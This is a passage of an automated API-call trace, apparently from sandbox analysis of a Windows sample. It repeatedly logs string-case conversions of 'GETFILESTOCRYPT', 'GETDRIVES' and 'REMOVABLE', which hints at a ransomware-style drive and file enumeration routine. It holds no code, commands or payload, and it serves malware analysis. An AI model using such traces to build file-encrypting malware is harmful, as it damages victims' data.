0x9 [0084.464] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.465] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.465] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.465] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.465] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.465] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.465] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.466] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.466] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.466] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.466] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.467] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.467] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.467] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.467] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.467] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.467] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.467] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.468] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.468] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.468] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.468] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.468] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.469] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.469] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.469] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.469] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.470] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.470] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.470] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.470] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.470] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.470] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.470] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.470] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.470] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.471] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.471] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.471] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.471] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.471] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.471] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.472] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.472] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.472] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.472] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.473] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.473] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.473] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.473] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.473] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.473] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.474] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.474] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.474] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.474] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.477] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.477] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.477] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.477] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.477] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.477] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.478] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.478] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.478] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.478] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.479] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.479] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.479] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.479] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.479] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.479] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.479] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.479] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.480] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.480] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.480] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.480] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.480] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.480] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.480] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.481] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.481] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.481] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.481] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.481] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.481] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.481] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.481] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.481] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.482] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.482] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.482] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.482] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.482] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.483] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.483] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.483] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.483] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.483] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.483] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.484] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.484] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.484] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.484] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.485] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.485] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.485] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 